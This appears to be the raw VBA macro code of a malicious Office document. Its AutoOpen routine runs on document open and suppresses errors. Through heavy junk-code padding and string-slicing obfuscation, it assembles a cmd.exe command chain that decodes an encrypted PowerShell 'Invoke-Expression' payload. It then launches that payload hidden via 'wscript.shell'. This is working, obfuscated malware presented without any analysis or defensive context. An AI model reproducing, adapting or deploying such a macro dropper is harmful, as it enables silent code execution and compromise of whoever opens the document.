ACXnWGQG = hoqRZk("OpXXOAA2ADUAYQBkADgAMAA0AGMAMwAzADQAMgBiAGIAMQA1ADYANgA4ADYAMABhADkAMQBiADYAY4z3", 5, 73)
zcnMlw = GtFPlO * vEzncn
jrtdjH = wjici / ChrW(HPRHa * tWTDnG) - trwVz * AoOlt * 68216 / CSng(9202)
JLHUZ = Esjsra * ujkMr
VCDfV = RlLsLt / ChrW(lNpmf * EjAQVE) - wjnUfG * BzEFf * 71528 / CSng(79271)
wGrILBfTEm = hoqRZk("Np2AGYAYgBlADcAYQq4d36BD", 3, 15)
JsAVw = omEuFU * iVmibj
izqMEs = mJkGu / ChrW(vWHQA * AHzia) - mOWiSW * BFaMC * 76558 / CSng(32012)
WwHVsu = TaSjN * alYXL
ICwwBP = CpNEI / ChrW(wIfzU * CrhRrD) - kpTNzq * jraXz * 9958 / CSng(11187)
HRzpbTMwvP = hoqRZk("rfwGGQAZQAyADgAMQBhAGEAYQAzADEAMQA5ADcAZQBmAGUANQA1ADQAOAAxADMANgBmADAAOABhAGUAMABhADgAZQBjADUAZAAyAGIANwBlADIAMwAzADgAMwAzADgANQA0ADEAMAAwADMAMQAyADMAYQA2ADQAMgA5AGYAZgBkADUAYQBlAGIAMAA3ADYAZgAwADk3j", 5, 194)
sjGVJH = KvlEv * qbkHv
fRjcQ = zoFhH / ChrW(PVRzz * VthTi) - csuCt * pQDsa * 37313 / CSng(17422)
dIUzkt = bLvKj * tjDbO
nPkDlp = BzMHj / ChrW(MuTwwn * dRKmtI) - cHDAuG * OWtFiK * 38128 / CSng(83733)
BYqwTKcGncv = hoqRZk("F4gBlAGYAOQBmADUAYgBmAGYAYQAzADgAOQA2AGYAOQBlAGYAZQBlAGIAZgBmAGQAZgBhAGEANgAyADQAYQA5ADIAOQA2ADYANwA4Asi2C%8", 3, 100)
PDPPT = ZkFoh * WEzJc
ouvLMZ = zYatP / ChrW(NmMvii * fGhTvG) - NsRvv * TfzJD * 82161 / CSng(80673)
Wzzhm = kEWDI * KtSNiY
VBbpKX = FYGhiW / ChrW(UtqWLu * BjkOO) - bIGQQk * XSvKn * 19432 / CSng(3012)
bWoXKH = hoqRZk("rA,gAxAGQAMAA2AGMANgA1AGQAYQA4AGEAMQA1ADAAMABmADcAMAA2ADEAMgA0AGUAZgAwAGUAZgBhADAAMQBlADgAMwBkADAAMABkADAAYgA5AGUAOQAwAGQAMAA0ADAANAA3AGMAMgBmAGIAYQAwADgANABkADgAMAAxADAAYwBkAOzFb", 4, 172)
LwoZlz = zcqXir * Urbwd
zSpQt = aCwfj / ChrW(sDphv * cvlIdZ) - GdDzDi * jrztJY * 61094 / CSng(68498)
SizunA = Vjtqf * QhUQA
EVjGrw = Uwmviw / ChrW(BZdEoT * sfEpqi) - LtrIj * rijbF * 95400 / CSng(8254)
inlfZqoRH = hoqRZk("nohD3b16050a5345MgB8ADYAbgAwAC8AYwBNAHEAeABOAGwATQArAFMAcAByAG4ANgBzAGUARgB3AFEAPQA9AHwANgA2AGEAYwBlADAAYQA3ADEANwA3ADgAZgA2AGMAMQA3ADEAMQA0AGEAOABmADQAZgAxADUAYgBhADYAMHV", 5, 165)
ZjlPsi = qEPch * MpiRAO
JDvmwY = XqBwq / ChrW(TSwTa * zkUobj) - rfoFJF * ZWWnzR * 38878 / CSng(57575)
rlLPo = arqRZE * nPFMoL
lddWM = LizkRc / ChrW(lftPB * wRpia) - QAUvMq * aonNIp * 5255 / CSng(15887)
FmMHEts = hoqRZk("84ztINvOKe-exPrEsSIon (([rUNtImE.INTEROPSErviCES.mARShAl]::ptrToStrInGAUTO( [rUnTiMe.InTerOpseRVIcES.mARsHAl]::SeCUrEsTRiNGtobStR( $('76492d1116743f04234103WJW", 5, 150)
rrGAwf = IWpLiP * vvCnwf
nmtRBj = RlawBT / ChrW(wball * MYXiU) - ErSFB * clEEM * 66884 / CSng(90404)
CZvQa = ETFmZh * iSvlBC
vtnaGz = hwjcd / ChrW(qDQZp * KzkiYv) - cspDT * jWEJlU * 18368 / CSng(50521)
dPpMJc = hoqRZk("pANgBmADcAZQAzAGMANwA0ADUANQAyADEAYQA3ADgAYQA3ADMAMgBmNqL k.L", 2, 53)
WUZJw = oiBVw * sqKOO
mXWsvM = tCmti / ChrW(fNudP * PzKoN) - hXMrfu * WpWDui * 49493 / CSng(24455)
hcHEsM = FOpNZd * ruUcq
QzXvF = WjZWYG / ChrW(QqotfR * fvszk) - bvzpDT * mfhEMw * 97347 / CSng(82500)
XDGkAHISzz = hoqRZk("m1wBhADQANQAxAGUAMgBkADgAYwBkADYANABlADEAZgBhAGUAMwA1AGUAZQAwAGEANwBmADkANABjADEANQBhADEAZAAzAGYANAAyAGYAZQA1ABWsKwp", 3, 108)
jsQGo = iCApL * VUHYL
TbhkT = SwkIj / ChrW(jSibPA * dwNQwp) - HWQLa * BjfPWw * 48005 / CSng(21686)
TOMNn = MTSIJ * BfGNkw
UiSoY = DEoicT / ChrW(hwkZDZ * sEVUW) - uIpJt * DYpcAZ * 77128 / CSng(72081)
jUUONh = hoqRZk("KNLD1GUAOQBlAGMAMwAwADAAZABjAGEAYQBiAP43", 6, 32)
IYopoi = EvhKK * QPNwSQ
uPflnP = rUjAO / ChrW(kkjjih * dDucid) - HaPCHX * qtsDB * 48716 / CSng(45933)
GNcmTTaKMqiA = kLhvXsjijT + """" + mDqUCCKowREh
vDOVZzHMnVzO = diWPHYw + qjurocdIGFTjv + EfoMLjCCb + GNcmTTaKMqiA + GjbrijWlAzYqB + FmMHEts + inlfZqoRH + XDGkAHISzz + jUUONh + qBdiTiqk + nnDwfpiK + MEolZHFPzB + CVAiZ + TPdzFfoHD + fOwnbp + RHlUUObjPv + CXtzuJXJXw + BYqwTKcGncv + DsjXQzw + BJrDjKpXTNl + rdWGMGN + oDmKPlFR + wGrILBfTEm + JNpXndJ + lFoLMY + uiUidEZUdB + bWoXKH + HRzpbTMwvP + ucrGksW + TPOdtplI + iUYTvHn + liGAdlJjzc + UOsdpb + dDsDdR + ObTtmSXD + ilUUZVm + ZJrwBMBIkYd + VYFdEsRBhmz + OrnYqfs + MpuHH + AsUvc + wQDzToV + zJumABcStUz + dPpMJc + aLWzFf + htBIJ + duKCS + HSEzEJPa + tOXMTbnoMpm + zbioLwHQ + ACXnWGQG + DCDQzQM + dRwXd + nHjhKowm + aOFPDkXu + GPVEmi + oGpffhKdGw + zqHqFNUT + rMiWZwIUfn + bfPHWlqQ + jTUvd + jRdsw + HdjFc + QnXfDhmm
lZHfio = nwpuE * bjwXlH
DFXZV = WFjuSw / ChrW(lXjznF * iSkmz) - tuFCbn * mnfCiJ * 61672 / CSng(34874)
End Function

Attribute VB_Name = "qGBrHiGCLRGSb"
Sub AutoOpen()
On Error Resume Next
AXkqhq = MUkGG * zXmUa
QksfbY = jvfNJL / ChrW(wipzZT * hdmQl) - XJiZw * ZLGHsJ * 34903 / CSng(1938)
Application.Run "wsZXwMFqzzw", vDOVZzHMnVzO
LhHbv = MOhpu * iiHGO
YIXQGQ = lmsbzn / ChrW(SzWwf * prLvzj) - ZrdwA * Ttsmua * 81817 / CSng(96795)
End Sub
Function EfoMLjCCb()
On Error Resume Next
PAnwDh = JTLDrI * EzBOo
UYMNoa = jTUiC / ChrW(jsCbiq * MzfhK) - jESHV * YScqn * 49173 / CSng(17821)
WFilAifUQnK = hoqRZk("PKC%iHYrICMDfEs%!!%wsZScwzM", 4, 19)
iTpwcB = ZHCXT * RkUsf
QqwOM = QiLGCO / ChrW(ZMssK * FJLKwP) - BvGiHz * WtmfE * 56546 / CSng(99829)
qkrnB = YCrUk * fiBmlX
uYsATn = GAVtQ / ChrW(jnMHI * ShImWQ) - VzAfVJ * Wcpzj * 45474 / CSng(98714)
davVGZ = hoqRZk("2aWUFlXPr&&set %iHYqjo", 4, 12)
MYhwDT = sSudBE * mlVkq
VGUAk = uHwOXk / ChrW(lUjFYM * WFilr) - MNpDb * hjLGDh * 27491 / CSng(7765)
tHfXIv = SfjLz * rrGLO
JjzzP = rNDVp / ChrW(AOBYku * HElsNt) - JOXEJ * iEBDtH * 29321 / CSng(19013)
OEQjiTikGz = hoqRZk("La%=p&&set %vDi4wRfc9", 2, 13)
hzzqr = kWTGL * HLXolG
EcqwL = LvNzid / ChrW(RrWmvX * AYsDz) - KXtiPH * KFoqA * 71916 / CSng(90360)
QYjzrh = pLdhOn * dmmSdW
dzTEn = zunIMl / ChrW(niSaSK * zioTz) - OiMwS * zTmaN * 85381 / CSng(7410)
KzQRSMs = hoqRZk("fpH%ulDwcQwUAipAGNnt", 4, 11)
zvXVVc = KwTMzS * MwJAG
fThrp = oaBDF / ChrW(PXRDHS * VYDftk) - nrHoR * lhIjO * 61878 / CSng(60466)
hDJAoa = TPKjww * tPCinr
zbIXf = zjhYt / ChrW(szoRYU * uhhwq) - HwKDNY * MokcAd * 17403 / CSng(26952)
awFEGvN = hoqRZk("1=swTiW4kT2uON", 2, 5)
mimmAE = EzdJSw * QcRmY
ocTAP = EPLQvL / ChrW(zvwLE * CNFGjO) - QRTzj * lwHJOm * 43343 / CSng(31647)
jVFAvt = LNKNUz * ZPYoV
ZWswNC = rpLzn / ChrW(oviMv * iEoQM) - lpbRQG * mrYNcJ * 76170 / CSng(85834)
SUGUnLdTcrh = hoqRZk("bszPn=oUFlXPw&&set %wBz", 6, 12)
lWCNa = KKuDc * qakFj
cMtZZ = TAKQi / ChrW(CIaHT * OwPSf) - XMiHv * oHwDL * 61532 / CSng(58001)
zwZdA = voYBQw * kHJpmv
bzktUU = UmpJmK / ChrW(JXqmL * DMkjG) - cdKswP * GfzNfI * 62161 / CSng(7758)
ITvRZhro = hoqRZk("lTlB=nYPVus", 5, 5)
Biriom = jTCbsr * PAnkr
JuqtK = aKJKi / ChrW(wcKBrc * qCaZvo) - OQkMsX * mRHrzT * 67834 / CSng(24190)
MmpzD = lXDpbQ * BQTav
bFnFw = RoiIP / ChrW(BhZfFD * mlEuB) - cjsNmH * hMdSZj * 87947 / CSng(71774)
Pzwjfsc = hoqRZk("9O0k,TpjPotkQuLV2", 6, 9)
DHPowa = mWKQVI * WKlMTc
brARL = EGFZJU / ChrW(iwfNzC * Gqcrb) - cGInU * IObPOW * 70314 / CSng(71073)
WmRUC = ZdpPhK * Otpsa
Oksin = hDLbD / ChrW(chQbkO * vhzMi) - LDXnEQ * kNJfiI * 57792 / CSng(10790)
UFZIDKiJM = hoqRZk("fjoHXwwNa%!&&set R1wN", 4, 14)
vOClk = ctmIa * idQYJw
LKPGKD = OYlzck / ChrW(aljJz * FbdAvq) - FksHU * BuLfH * 85818 / CSng(64534)
nomUm = NEDko * rRGDzr
DvlLHE = MIXvSN / ChrW(GLLZE * twBHEw) - GiqDPT * rWCci * 31075 / CSng(85187)
ubrAjfAdDTh = hoqRZk("9ZtqIset %swQHhktTltCkw", 6, 14)
FjHRb = kGudtA * EtdHL
nhRUjz = KjJjv / ChrW(wltVAm * BVYvZ) - TAndY * ToEan * 23971 / CSng(52705)
PwlHup = HhnsaN * jKKZZp
wnZpjf = XXnws / ChrW(hIUAN * YwTBz) - UwTjE * UMzQL * 23772 / CSng(33686)
HmNUoiEQ = hoqRZk("hOZiJwQB%=RwBKPD", 3, 10)
KbjJA = ipGbpK * LQuil
TOjvoT = ijaQzI / ChrW(BDwNKB * nisst) - nIvDmZ * zwdjvp * 25462 / CSng(28456)
ALhLS = jlSDaw * WqHDb
QYISt = YqCpSJ / ChrW(XIrzZz * MzRwv) - mZwwh * iwFkrt * 76949 / CSng(66123)
YBkBIiTfuv = hoqRZk("p0%zwDOvSZkVXjYKGPSMKL", 3, 15)
ChwAti = LiqiF * LQGMW
qzrGI = ftRYzG / ChrW(PdJSVw * mNNTF) - Zbmpdf * PsvKa * 75895 / CSng(24894)
iCEfq = YLREk * PZidTZ
Khmpi = rtwDu / ChrW(TIMzo * WlMSr) - wwEYwd * LjQsp * 92743 / CSng(25613)
fGijYsztJ = hoqRZk("JB%let %uilHXwwN N", 5, 12)
JzOaI = jRUCb * WznCrp
rmSSwU = jlCPXB / ChrW(lMmwrj * OfjVV) - jNwOAz * VjrjRF * 21984 / CSng(74794)
utiPd = NaNVqR * NGophY
ONAll = NfkFc / ChrW(BhWPz * iiwJCZ) - zIoGCO * IMCjt * 85457 / CSng(56324)
nXGtm = hoqRZk("EtWzqAA%! Rl", 7, 4)
aipHt = PtrrqP * pHFLb
oCYYi = DApfpW / ChrW(wLIQT * jAhPzP) - wWTEw * RooQB * 18664 / CSng(14048)
zmfOvL = vXWOh * bSjFbF
URVNfF = iMbmR / ChrW(Ahqum * MEDSJT) - pidtfz * VPiRSi * 82020 / CSng(79121)
jtrFitG = hoqRZk("A2uzBUj%twohZlM%!!R8", 8, 11)
jvkwO = tcmTlt * RwLtwQ
FSwokz = zZbDwX / ChrW(TXZWTJ * BHMLoq) - jFZmaA * RzvMQ * 88086 / CSng(88553)
KoJAAI = UMwIL * sKRPoz
SZEDK = idzDrb / ChrW(ozRUi * qKfKw) - zVhjnr * quKkkF * 82290 / CSng(23374)
iJThBo = hoqRZk("0ItjOHTJHGOmG&&set %s%", 7, 14)
aXJFh = Etswhj * znOFI
TAwKL = kUdOh / ChrW(rvQjI * sNAQo) - qKtjuX * izitZ * 57345 / CSng(24930)
oMBhMh = JuOil * uLilC
mVTVY = rsbtU / ChrW(AJXdi * njPDl) - GDXBh * UYhBV * 17535 / CSng(40346)
chNRjUK = hoqRZk("aozz%!!%aUzop8", 5, 8)
dOUomQ = GicsR * SwVsik
PUvqK = Ywawn / ChrW(IoiZM * RVizVv) - QoCaM * mZJaI * 35857 / CSng(58086)
jiRDPn = LRIzBp * pzRHi
UlZKOv = tzwRm / ChrW(wHKtb * ipLRcZ) - YZNpCv * icuEHo * 38453 / CSng(27004)
CKMBjUlzRB = hoqRZk("kSzmFWBO7a", 8, 1)
NTqLur = fEqNE * JUzkUX
jHvVAZ = NFlma / ChrW(wzzlO * jOhlL) - hvTZGW * wOKFX * 39856 / CSng(20320)
YVvlEQ = YZbHm * LnrGjR
oJGmF = jLZHUh / ChrW(rTWYX * mUjKZ) - KMHBo * KlGBO * 28406 / CSng(16667)
zRiBjSDMPi = hoqRZk("kNVZzHMnVzO%!&BlPFw", 3, 12)
FjGwSH = brsQTj * fBFwh
vmZJl = JwEpEH / ChrW(rRDNk * RmiUOl) - iAGEw * hilSJ * 94046 / CSng(26383)
bALjRf = ljwus * JiTpK
tvAPvt = XUPZCP / ChrW(Bipdmq * ZlGun) - ZcRMJo * CBbkP * 81590 / CSng(77608)
WaEhjzIL = hoqRZk("5ll&&!sht@o.", 2, 5)
oWGvf = XbpqD * JUKuU
OEvDD = NIazH / ChrW(NwCLl * zzHOB) - cWGVw * rjPHbk * 23208 / CSng(71339)
tLovw = khpJaZ * bMowV
FBPwz = rBIFbw / ChrW(DzEFE * ZvOQtp) - jrzMX * SzhLiO * 78598 / CSng(14340)
YZkSIaiVmMY = hoqRZk("zJ&set %rwCTpj3n50", 3, 12)
qcbOL = VZXGk * wQrlVH
IzCwio = aVoarP / ChrW(SFmofi * KScFm) - WhqaIG * zHnft * 49474 / CSng(61094)
lwGrrk = Qwdbw * KzLKca
laiwaO = SpTRFL / ChrW(ljXPT * piFGCz) - ovoUhq * JKQHRd * 16985 / CSng(73022)
MoJvjO = hoqRZk("zCVwoOwbwBUsvERlhA%=phj", 6, 15)
dMVmRY = nuJrl * VbwcR
XAzjPQ = bPPwp / ChrW(DGcuj * iPbAZ) - wJGpo * oLWOa * 57739 / CSng(55048)
jizpU = mFEVF * AkXhHw
pPSju = qHtNv / ChrW(CFKGmz * HNBjJ) - LAPDF * waPIrQ * 89827 / CSng(6213)
MHvIYL = hoqRZk("L9WV %aUzskEf", 5, 5)
dzsrJZ = opilk * ounjJM
BbDokw = mwTpr / ChrW(jiNJrA * ILaZTt) - mVVLH * TnCvDH * 19358 / CSng(7048)
nlFdll = ojwaBW * WZvEo
pnruZR = iALcD / ChrW(oijOU * dZwjPH) - Cmvum * IRFzt * 21224 / CSng(8094)
zizTkGzhPmt = hoqRZk("n0tRrRsRYO%Gz95", 6, 6)
TAnVT = ihonK * ZLDtDb
MOimGZ = uFjip / ChrW(QKJYI * wkiVw) - jLrzN * vRXrG * 78083 / CSng(25864)
rwVWr = uNsBJ * ckNKqN
QjAcbw = jCNQP / ChrW(QhvXt * QOPVvd) - dwpMc * Tqtoq * 37191 / CSng(87626)
FwXiKk = hoqRZk("CXwMFqzzw%!!%rwCN20zE", 2, 15)
ikrzc = ujuppR * wNBOEz
SOupk = wYXtED / ChrW(RliXVT * dwEAWL) - Wdsam * qHQpB * 27826 / CSng(64490)
kRWtZ = tnSdp * HUwilP
AHzCK = BAQAKY / ChrW(bPzBfO * dATSVO) - bmjztU * zHnOMw * 46309 / CSng(25700)
SfIHWChXSY = hoqRZk("d2wrICMDfEs%=!%vDzKzBz", 4, 14)
mHEqDs = uCXRq * oijvJ
OhBRD = cHJmT / ChrW(aPXjK * XkjOo) - VDFwTJ * Qnwzvl * 82323 / CSng(1352)
KqimSH = KkLQTQ * OYQsL
ndipzU = AqVDz / ChrW(CsqQN * qXDTU) - vtcza * wFtKjI * 78889 / CSng(76212)
BPFBjoutR = hoqRZk("v3D%iE26wn", 4, 1)
lbTOIS = OfYHC * UckKO
EasCPo = sXrLh / ChrW(aZEwjE * rsfwZ) - fckRa * uJjXs * 47057 / CSng(8481)
GznUr = uwSaP * XMnAmC
dYQoQc = oAAYo / ChrW(zwLZiF * FJSTS) - fzOEVM * WRlpIX * 84757 / CSng(74567)
wMWqaoiP = hoqRZk("XstwohZlM%=!%uilUOCG.", 3, 14)
uvulmd = BNVho * UFzWbw
ZwiLD = hMVRH / ChrW(bTPWZ * CCYNqA) - viwfsl * vfLzRi * 65939 / CSng(63357)
WtkJl = RzIZSo * Qvjjd
IQpCRm = TMcVf / ChrW(jBiRvs * NlUIOM) - Vnspzi * NIhqT * 44444 / CSng(67135)
RoqwwC = hoqRZk("jDhqZGOVZzHMnVzODDb", 7, 10)
EVmuX = Vhikn * XXvjnF
hjUmYz = SsBacV / ChrW(rjzWUo * zFOEKj) - qNADNi * pkiNw * 70624 / CSng(80065)
WhzcMK = RVaoQP * oVhXt
CQXcDn = okJINj / ChrW(dBkkl * sdFio) - PuGqio * QjGJU * 48731 / CSng(49146)
QtjCV = hoqRZk("vwrPaKUKiiHfm&&set %wsZmwowh", 5, 19)
wjMSb = Afnlzl * lZKpo
Ysiti = FTjXr / ChrW(LMzuw * QNzPPS) - hCjfK * UjBBfP * 74676 / CSng(65083)
djSPiK = jrNzbz * SOwaPY
VsihGv = vmYJjz / ChrW(wwuiH * YsXPuv) - jYOaY * nIoni * 47170 / CSng(28476)
rDLldI = hoqRZk("A@z%=j2QWG", 3, 4)
oEpnsz = VSErHu * dUOmK
wWYwlK = zIJLJ / ChrW(mknicC * OOFJiR) - XiTYvO * tRjrC * 64508 / CSng(78287)
vjHzF = bjToOr * GBbXn
KGfFl = utoYi / ChrW(MRrFo * ZXqRf) - uhUzAE * wKBGD * 30722 / CSng(53163)
HsARK = hoqRZk("Wz8XwMFqzzw%UWS", 4, 9)
aLCnK = UCacAN * zQXtb
KEEztk = fJLKn / ChrW(NvzLoi * EaitU) - qzAudN * dRRVOI * 5150 / CSng(88514)
CjdZo = qQOnS * QSzQT
LDqmzh = pJpIME / ChrW(qKGrAV * Smipw) - woVjW * HUsOP * 69257 / CSng(91723)
OIRUj = hoqRZk("nCsWwwETPHuIf&&setk3", 5, 14)
wqAIBi = UFLIPz * tRIwC
mBnJmM = KwwrHF / ChrW(WbmZoO * biKYG) - wbbFS * RFwCqW * 79374 / CSng(71638)
aUNhl = vAqNTq * GJuzYp
RMsBib = mlqGGw / ChrW(Ywitl * TrsRp) - hwisR * jsHNb * 23057 / CSng(98521)
fLXmsqc = hoqRZk("3B7fBUsvERlhzF.", 5, 8)
nIOzG = saiMM * nacaU
LNurEs = vXFMK / ChrW(WtabK * tKdbGQ) - jMXJP * tBAlQw * 8958 / CSng(41373)
Dutzi = JhLkw * KOsIk
XAHsj = MUYAik / ChrW(oBaXB * KpPsVH) - qzFiFl * AzKGKK * 96443 / CSng(70542)
ZpuBScVMklI = hoqRZk("7k.NiomvRjz%=he&&set %ZW%", 6, 17)
fIzaU = FkrqS * PIIllG
NPuvw = OqrUMr / ChrW(ZbjjWh * htVmO) - YkpBU * DtXwk * 25653 / CSng(5614)
kojkN = QhczYV * tRZwIp
CPamr = KKIMR / ChrW(bOomv * KWciAA) - DNBtXM * wmOVOt * 87136 / CSng(76095)
mLlMJv = hoqRZk("qHtmjs&&set qWw", 6, 7)
FZQfIt = EfdPwT * YPZBnM
RlznS = ATXBnW / ChrW(WFjUdJ * wNtzif) - pGpsF * bonQrq * 9178 / CSng(50881)
pEnmw = FuuzWE * kownjw
VaCUNI = CnPmTh / ChrW(NMclbi * nbkfIh) - kRMRd * lOBTY * 80357 / CSng(9136)
WBLjGPj = hoqRZk("nZhdN=eWI", 6, 2)
GfKCW = WcTCF * liwSo
ajSWC = qarwK / ChrW(MlZlj * ZdlPdH) - KLJVCP * fTOVkj * 54252 / CSng(79871)
XRRkmV = ItSncl * DlwCRw
YtZVw = hbUhQC / ChrW(MOOGz * EZCfC) - SwEHj * hXjzY * 83935 / CSng(28907)
afNbaq = hoqRZk("SW@H%nwo", 4, 2)
qEhZkX = LYpXrC * ujVOXw
icToNi = tMqWrJ / ChrW(Arduiw * YOkpR) - dzdJUQ * HbOlX * 77598 / CSng(91052)
zpbMIX = wGwBH * kvlQc
OzluZ = GzPjc / ChrW(Bcpid * MmdJN) - zAsRNC * svaCj * 24659 / CSng(91087)
NoPPiMI = hoqRZk("MOqmvRjz%!!%Owbw144w", 4, 13)
zCXwR = uzfbFS * EqiFm
vYVpmM = jHbZG / ChrW(iVOjF * vQFAN) - HkzoFs * wVAdbN * 72077 / CSng(68910)
NzDRWF = YnTIN * Qaild
bzEuO = qJslI / ChrW(hvhRz * YHHrcN) - buticp * XYkaJ * 7009 / CSng(79951)
boGaXscD = hoqRZk("QLwGwcw&&s0Uck,.j", 3, 8)
fvHni = aSnza * MWAjX
JmNzfP = zvIKHI / ChrW(qObLjp * kBcGfC) - wAYADS * DwiQsr * 62763 / CSng(8990)
fNOVV = XwnuF * FqtmF
RvaEoF = VhotVv / ChrW(bzOuU * YwsRYv) - jiJPv * HDJcb * 47372 / CSng(18419)
YLaihSPF = hoqRZk("wFNMPotkQu%=WPz", 5, 8)
AVjFSz = rHcwS * BSDIf
jzmXYz = nwRVnV / ChrW(tXdJM * vVpbj) - dDGkG * vfdpO * 94460 / CSng(21003)
zRETw = VJOZGa * RDDbzD
CwBIlR = fTaijF / ChrW(pNaWQI * dLwNiA) - nKRwTH * BPwhj * 93751 / CSng(79982)
HcVkni = hoqRZk("3HDSBBNKoRzzWi8jN1L", 2, 13)
nraUJb = dEjuQZ * DvDRFs
JmMwV = zdpjLn / ChrW(XHmNqw * jMNYqq) - MBdPq * hiENWn * 76022 / CSng(84006)
EfoMLjCCb = ubrAjfAdDTh + HmNUoiEQ + boGaXscD + fGijYsztJ + OEQjiTikGz + RoqwwC + BPFBjoutR + SUGUnLdTcrh + HcVkni + afNbaq + ITvRZhro + iJThBo + wMWqaoiP + UFZIDKiJM + KzQRSMs + zizTkGzhPmt + awFEGvN + QtjCV + HsARK + WBLjGPj + davVGZ + SfIHWChXSY + CKMBjUlzRB + zRiBjSDMPi + YZkSIaiVmMY + YLaihSPF + mLlMJv + YBkBIiTfuv + rDLldI + OIRUj + MHvIYL + ZpuBScVMklI + MoJvjO + WaEhjzIL + jtrFitG + WFilAifUQnK + FwXiKk + Pzwjfsc + chNRjUK + NoPPiMI + fLXmsqc + nXGtm
OzjdmO = IpaHvb * YoHfYl
LUUqFs = YrDLF / ChrW(zOpNEB * soojB) - hjZOI * GWCiO * 74832 / CSng(62591)
End Function
Sub wsZXwMFqzzw(rwCTpjPotkQu As String)
On Error Resume Next
WUmkB = niLLbZ * jzbTW
EuJtb = UNaNb / ChrW(oqfUq * NiOlI) - nYFSN * KbEcuP * 24972 / CSng(51898)
citUsuoH = RjZNV + Replace("wUFlXP", "UFlXP", "s") + qmiUMG + Chr(VBA.vbKeyC) + Replace("ript.UFlXPhell", "UFlXP", "s") + GnzSl
GCNBAi = AQMwP * PzvBo
nhwlX = BprVQc / ChrW(iVUIEi * jSjZa) - EEqUKm * vwKJQ * 81106 / CSng(6982)
CreateObject(citUsuoH).Run pLiAkVlmvprWPo + Chr(VBA.vbKeyC) + rwCTpjPotkQu + zXLltwwXK + RfjKLsNbat, vbHide
FZqPS = vfTPw * dMmEE
CroTV = pFbjw / ChrW(vpvOsz * VafCr) - PVZDwY * JRXCSl * 7073 / CSng(44605)
End Sub

Attribute VB_Name = "NpLipTHLOTo"
Function diWPHYw()
On Error Resume Next
bmkiP = pscAMr * mPNYUT
QiGLiz = AKTchU / ChrW(dXSHw * ZlRqWr) - NSwHP * lmtfYD * 34196 / CSng(94109)
sfiBuz = hoqRZk("4   /V         /c MbFwmpq", 2, 17)
iJXiWI = rvRVc * iRQon
jhLMNq = kkstEh / ChrW(jDISrU * FbDqt) - WHbOj * jQIXw * 20331 / CSng(78123)
tNvUw = MXqrmX * kQpGn
HLEPa = kUbsNN / ChrW(ZLhdSG * YJUizT) - jNYEiF * VtowU * 62031 / CSng(22681)
hojjGp = hoqRZk("8@cUFlXPTm0wG", 3, 2)
kicio = DDnXzp * wqVQHI
HDojH = ERsfz / ChrW(mCYpGU * hcKlji) - iXDTi * YHOhp * 87180 / CSng(44053)
AzdHjM = JwEzW * RYSsbS
SRjpj = ABqXL / ChrW(UbhpCP * LQCqSa) - GjifVL * kVjPo * 46307 / CSng(37760)
FHikkASlj = hoqRZk(",GjslqAtfCVXKu & B3LX", 3, 15)
TTbsB = AjiPd * GwQaQO
JQWLC = ikFwZ / ChrW(rKAzi * ZZiGA) - PsNLnF * waVKu * 94736 / CSng(15272)
rBnjD = OIcrS * XscdP
dAqRTE = pnEoSi / ChrW(zmQcic * snNSE) - NtvXW * rfkVah * 68662 / CSng(73605)
rijIftp = hoqRZk("LTzzFSqpAB os@Jzs", 2, 10)
YKUKM = Ckczu * QlNdzP
kwsjRa = SOQpvw / ChrW(wTdsIs * KITYbE) - uXsbRv * RjdCj * 47998 / CSng(3485)
ERiiBL = ffdMG * XtJso
XwCMRq = XfOjD / ChrW(Kjtdss * wiAFQF) - jjEjvU * izBEM * 86230 / CSng(98907)
OdFiNn = hoqRZk("7L8  fzEX", 4, 2)
XQzaOv = iQQAwC * wzwMrS
afkihf = rYfzqI / ChrW(jGqqC * CoSvW) - pDEIA * jzzlO * 84754 / CSng(64254)
Zqfuz = imaNzm * DCaSSv
aQTbr = mtcNv / ChrW(JviUt * iOwlYO) - QDiPn * pQqtJW * 6746 / CSng(6069)
GrnropWhZm = hoqRZk("9EUFlXPcUFlXP%     %UFlXPiPrjUqV", 2, 12)
NkJNRj = zVhjnk * PorEVb
HipfG = SCYwp / ChrW(ABLcLz * oEJhG) - EjbESR * cUFGUh * 22764 / CSng(58709)
kzSEj = TFTWU * TnvVh
jLJWvf = RTZoj / ChrW(mjLWLT * iwwtXj) - CkwCi * wRzrO * 4270 / CSng(74385)
DwjNTaKToa = hoqRZk("alLbBVOPVHFcCGliPIFs9", 2, 12)
OvuQji = iIQjCq * mMQzOQ
hXWGP = ViTIJj / ChrW(PBEcn * hYbfSj) - AikaPn * ShYXK * 39566 / CSng(83195)
PrXwW = qwYPF * OijHwj
HnAwVn = RJNXI / ChrW(KGTrc * apZFl) - sJMmKC * kdNYP * 87192 / CSng(5230)
vwovDi = hoqRZk("toUFlXPmUFlXPSUFlXPpUFlXPEUFlXPcUFlXP%  QL8 k", 2, 15)
UpjlB = zmIPs * YFAiiO
cdpiz = GXizh / ChrW(zZQFA * TkYvXE) - RXsic * qBaaff * 20285 / CSng(64238)
VdNZc = jrFLf * LHHvLK
EALNER = GiYoA / ChrW(IpQEdr * SbfBMu) - UNhLt * MpJKQ * 19123 / CSng(14477)
Jrzsj = hoqRZk("kMEDFmd svuYduba XdRmFOAp", 6, 17)
JzSQK = dVqDST * ddUJA
tpsBN = laSfFo / ChrW(kbIdM * BBuwWd) - awjMoB * ANiRw * 9355 / CSng(41220)
duJcIb = JvHXO * FiJFYQ
SjthSt = wGLQK / ChrW(IzKpE * DEiiLb) - iVlYik * wKtAc * 17830 / CSng(28873)
EZmindCJ = hoqRZk("Q@4z    %UFlXPcUFlXPoUFlXPmUFlXPSUFlXPpUFlXP7zC", 5, 16)
JDkrN = iGUUAq * ajBiF
PwMhj = BZwFJM / ChrW(StufzT * DvOQD) - twXarS * lzNwV * 8067 / CSng(22543)
TqhdR = LAZoIt * BzTriw
zblid = qIciw / ChrW(jYLJJZ * fDMMf) - CUlla * YrJKs * 9284 / CSng(6666)
JXCRHlG = hoqRZk("P%ik  bI", 5, 2)
ClCYvr = JNpnK * aRTlO
UbuEX = LXCZN / ChrW(FFZFt * oQnvs) - wzQAw * pZdwi * 46021 / CSng(15201)
ZDvaL = KaNNi * RhGZzG
sniQGr = zNhSNk / ChrW(uLVwJp * WBTdsY) - zLZqVo * Wumpjj * 28801 / CSng(94567)
PRZLtfF = hoqRZk("901      O9jU", 4, 6)
uAtwXW = aqRuVm * nNTwz
IcrvA = QjJZF / ChrW(ZJZdzb * bazAD) - UkjzcQ * PvkSIz * 91374 / CSng(97076)
diWPHYw = Jrzsj + DwjNTaKToa + rijIftp + FHikkASlj + EZmindCJ + GrnropWhZm + hojjGp + vwovDi + sfiBuz + JXCRHlG + PRZLtfF + OdFiNn
